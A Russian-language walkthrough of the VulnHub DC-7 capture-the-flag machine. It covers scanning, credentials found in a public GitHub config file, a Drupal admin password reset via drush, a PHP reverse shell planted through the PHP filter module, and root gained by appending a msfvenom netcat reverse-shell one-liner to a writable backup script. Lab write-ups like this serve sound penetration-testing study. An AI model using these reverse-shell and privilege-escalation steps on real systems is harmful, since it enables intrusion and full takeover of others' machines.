Capture the Flag, CTF, VulnHub

Прохождение машины DC-7. VulnHub.

Здравствуйте, дорогие друзья.

Сегодня будем проходить машину «DC-7». Это CTF-челлендж на базе Linux, в котором Вы можете использовать свои базовые навыки пентеста, чтобы скомпрометировать эту виртуальную машину и повысить уровень привилегий до root.

Скачать машину можно, перейдя по ссылке: https://www.vulnhub.com/entry/dc-7,356/

Сетевое сканирование

Давайте начнем со сканирования сети, используя агрессивное сканирование Nmap, и на этот раз я также буду использовать тот же подход, для определения открытых портов для запущенных служб.

sudo nmap -A 10.0.2.20

sudo nmap -A 10.0.2.20

Перечисление/Enumeration

Далее нам нужно начать перечисление с хост-машины, поэтому, не теряя времени, я перехожу в веб-браузер для изучения HTTP-сервиса, и в браузере откроется страница приветствия DC:7, которая дала мне подсказку для поиска «outside the box», и эта подсказка может быть связана с интернетом.

В конце этой веб-страницы я заметил еще одну подсказку «@DC7User», которая может быть любым возможным именем пользователя.

@DC7User

Приняв во внимание указанную выше подсказку, я начинаю отслеживать пользователя @DC7 и нахожу учетную запись пользователя DC7 на GitHub: https://github.com/Dc7User.

 https://github.com/Dc7User

Итак, когда я открыл staffdb, здесь config.php выглядит более интересно.

config.php

Я нашел учетные данные внутри config.php, как показано ниже:

Username: dc7user
Password: MdR3xOgB7#dW
Username: dc7user Password: MdR3xOgB7#dW

Эксплуатация

С помощью перечисленных выше учетных данных я пытаюсь подключиться к ssh, и после получения tty shell я перехожу к перечислению каталогов и файлов и начинaю исследование каталога.

ssh
la -la cat mbox

Внутри backup.sh я замечаю, что он использует drush, а это означает использование оболочки Drupal, и это утилита командной строки, которая используется для связи с drupal CMS.

cat /opt/scripts/backups.sh

Итак, я посмотрел команду drush в Google и нашел команду, которая использовалась для изменения пароля учетной записи.

Ссылка: https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shell

https://www.digitalocean.com/community/tutorials/a-beginner-s-guide-to-drush-the-drupal-shell

Поэтому я пытаюсь изменить пароль администратора с помощью следующей команды:

drush user-password admin —password=timcore
drush user-password admin —password=timcore
Теперь я изменил пароль для учетной записи администратора для входа в Drupal и изучения следующего URL-адреса:

http://10.0.2.20/user/login 

После доступа к консоли администратора пришло время использовать веб-приложение, внедряя в него вредоносный контент. Непосредственное написание вредоносных скриптов в качестве веб-контента не даст нам обратную оболочку приложения, но потратив некоторое время, я пришел к выводу, что для этого требуется PHP-модуль. 

Поэтому я перешел к установке нового модуля через Manage>Extend>List>Install new module.
Manage>Extend>List>Install new module
Вы можете загрузить пакет PHP для Drupal по указанному ниже URL-адресу и загрузить файл tar для установки нового модуля.

https://www.drupal.org/project/php/releases/8.x-1.0

 
 https://www.drupal.org/project/php/releases/8.x-1.0
Итак, когда установка завершена, нам нужно включить добавленный модуль.

module php installed successfull
Снова перейдите в Manage > Extend >filters и установите флажок для фильтров PHP.

php filter
Теперь используем PHP-скрипт Pentest monkey, то есть «php-reverse-shell.php», который будет внедрен в качестве базового контента. Не забудьте добавить «прослушиваемый IP-адрес и порт», чтобы получить обратное соединение. 

Продолжайте менять «текстовый формат на PHP» и установите флажок публикации. Держите прослушиватель netcat включенным, чтобы получать входящий шелл. Когда все настроено правильно, нажмите кнопку предварительного просмотра, и вы получите обратное соединение через netcat.

php-reverse-shell.php
php shell
Прекрасно! У нас есть сеанс netcat как www-data, и если Вы проверите разрешение на /opt/scripts/backup.sh, Вы заметите, что у www-data есть все права доступа или изменения этого файла. Поэтому мы можем злоупотреблять правами пользовательского файла для повышения привилегий, изменяя содержимое исходного файла.
sudo nc -lvp 1234
Повышение привилегий 

Как было сказано выше, я попытаюсь злоупотребить назначением разрешений на запись в скрипте. Таким образом, я использую msfvenom для генерации вредоносного кода для получения оболочки bash. 

msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.15 lport=8888 R

Теперь скопируем сгенерированный код и запустим еще один прослушиватель netcat на новом терминале.
 
mkfifo /tmp/trsgux; nc 10.0.2.15 8888 0</tmp/trsgux | /bin/sh >/tmp/trsgux 2>&1; rm /tmp/trsgux
msfvenom -p cmd/unix/reverse_netcat lhost=10.0.2.15 lport=8888 R
sudo nc -lvp 8888
Вставлю код, скопированный выше в предыдущем сеансе netcat, в оболочку www-data, подожду некоторое время и вернусь к другому слушателю netcat.
cd /opt/scripts
Через некоторое время у Вас будет доступ к корневой оболочке, теперь Вы получите последний флаг в корневом каталоге, как показано ниже.

theflag.txt

На этом все. Всем хорошего дня!